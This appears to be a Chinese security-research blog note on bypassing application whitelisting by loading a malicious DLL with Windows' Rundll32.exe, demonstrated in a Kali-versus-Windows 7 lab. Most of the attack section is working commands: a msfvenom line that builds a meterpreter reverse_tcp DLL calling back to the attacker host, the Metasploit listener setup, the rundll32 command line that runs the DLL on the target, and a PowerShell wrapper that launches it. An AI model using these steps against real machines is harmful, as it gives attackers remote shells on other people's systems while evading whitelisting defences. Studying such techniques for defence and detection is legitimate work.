返回首页
EN
H7 / SECURITY RESEARCH NOTES

基于白名单Rundll32.exe执行payload获取主机shell

环境说明

IPHOSTNAMENOTE
10.10.10.93Kali攻击机
10.10.10.94Windows7靶机

相关脚本

内容下载
PowershellScript

Rundll32简介:

  • Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。

说明:Rundll32.exe所在路径已被系统添加PATH环境变量中,因此,Wmic命令可识别,需注意x86x64位的Rundll32调用。

  • Windows 2003 默认位置:
C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe

攻击过程:

配置攻击机msf:

  • msf生成payload
msfvenom ‐a x86 ‐‐platform windows ‐p windows/meterpreter/reverse_tcp LHOST=10.10.10.93 LPORT=2333 ‐f dll > hunter_rundll32.dll

  • msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.10.93
set lport 2333
exploit # 如下图:

靶机执行:

  • windows7上通过rundll32.exe执行恶意dll文件
c:\Windows\SysWOW64\rundll32.exe shell32.dll,Control_RunDLL C:\Users\aesteam3\Desktop\hunter_rundll32.dll

  • kali攻击机上成功反弹shell,如下图:

编写Powershell代码:

$rundll32_path = "C:\Windows\SysWOW64\rundll32.exe"
$malicious_dll_path = "C:\Users\aesteam3\Desktop\hunter_rundll32.dll"
Start-Process -FilePath $rundll32_path -ArgumentList "shell32.dll,Control_RunDLL $malicious_dll_path"

执行Powershell代码结果: